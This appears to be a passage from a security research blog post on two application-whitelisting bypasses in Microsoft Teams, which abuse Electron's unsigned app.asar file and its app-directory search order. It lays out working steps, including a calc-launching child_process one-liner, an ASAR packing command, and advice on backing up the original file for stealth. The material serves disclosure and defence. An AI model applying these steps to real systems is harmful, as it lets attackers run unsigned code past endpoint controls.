Inside this directory, we find the executable Teams.exe. This executable has an icon featuring the Teams logo, its Product Information identifies it as Teams with a specific version and its signature declares its publisher to by Microsoft. However, the content of the executable is the same as all other Electron apps — it just the Electron framework repackaged to look like the application.

Looking deeper, we find a “resources” directory, which contains a file named “app.asar”. ASAR is a simple archive format designed for Electron — similar to a tar file. This archive is where the real application code lies — JavaScript, HTML and so forth. Critically, this file is not signed (indeed, there is currently no standard signature scheme for this format).

AWL Bypass #1: Replace app.asar

The first technique involves overwriting the app.asar file with one that contains the code that we wish to execute. Assuming that Node / NPM is not available on the target device, the initial steps would need tonote be performed on a separate machine.

1. Prepare a script file

For the purposes of this demonstration, we will name the script file “main.js”, and populate it with a one-liner which will launch the calculator:

require('child_process').spawn('calc.exe');

2. Prepare a package.json file

The package.json file should have the following content:

{ "main" : "main.js" }

3. Package the two files in an ASAR file

If Node.js is installed on the machine, and the two files are located in a directory “app-dir”, then this may be done using the npx tool:

npx asar p app-dir app.asar

4. Copy app.asar to the target device and run Teams.exe

Naturally, this is a destructive operation and will prevent Teams from working correctly. Thus, in order to be more stealthy, it is recommended to initially back up the original app.asar and restore it after the operation is complete.

As a nice bonus, I have found that this can generally be done even if the Teams application is already running.

AWL Bypass #2: Inject app directory

The method described above suffers from the disadvantage that an ASAR file must be generated. Although this can easily be performed using the ASAR Node package, this requires the presence of NPM on the machine. If the ASAR file can be prepared on a different machine, then that is fine, however this may not be practical if we are attempting to “live off the land”.

Fortunately for us, Electron does not search for the application code only in an app.asar file. There are three locations that are searched by Electron, in this order:

  • The “app” directory
  • The “app.asar” file
  • The “default_app.asar” file

1. Prepare a script file

For the purposes of this demonstration, we will name the script file “main.js”, and populate it with a one-liner which will launch the calculator:

require('child_process').spawn('calc.exe');

2. Prepare a package.json file

The package.json file should have the following content:

{ "main" : "main.js" }

3. Copy the script and package.json file into the app folder

To be precise, in the case of Teams, we are creating and copying to the following folder:

%LOCALAPPDATA%\Microsoft\Teams\current\resources\app 

Because Electron searches for the application within app folder before the app.asar file, the mere presence of this folder is enough to override the app.asar file. Thus, this bypass may be executed without modifying or deleting the app.asar file itself.

Further Thoughts

The technique described here is similar to that described in the 2019 article Basic Electron Framework Exploitation. However, the techniques described there involve modifying the electron.asar file, which has since been embedded as a resource within the main executable, and therefore will no longer work.

A recent change in Electron has swapped the search order such that it searches for the app.asar file prior to the app directory, or, in some cases, only searches for app.asar. This would limit the 2nd technique shown above, but not the first. At the time of writing this post, Microsoft Teams has not updated to the necessary version of Electron.

The above changes appear to be part of a new feature that incorporates integrity checking in general. However, this feature is designed specifically for macOS only, because it relies on features built into the macOS operating system to guarantee the integrity of the ASAR file.

Unfortunately, in choosing to develop Teams using the Electron Framework, Microsoft have inherited the weaknesses present in that framework that allow for the execution of arbitrary unsigned code.

Yes – the techniques above require some modification to be made to the folders containing the application files themselves. Unfortunately, Microsoft also makes this easy by not even allowing administrators the option to install in Program Files (with one curious exception of Teams for VDI environments). Sadly, numerous requests to fix this have fallen on deaf ears.

What about Antivirus? Wouldn’t that hopefully catch the malicious code that can be run through this application whitelisting bypass? Well, not always – Microsoft themselves recommend the exclusion of Teams.exe in antivirus configurations.

Microsoft Teams may be undergoing considerable change — the new “home” edition for Windows 11 appears to be packaged as a Store app, and hopefully the business edition will follow suit. But until then, it will continue to provide attackers with a convenient means to live off the land.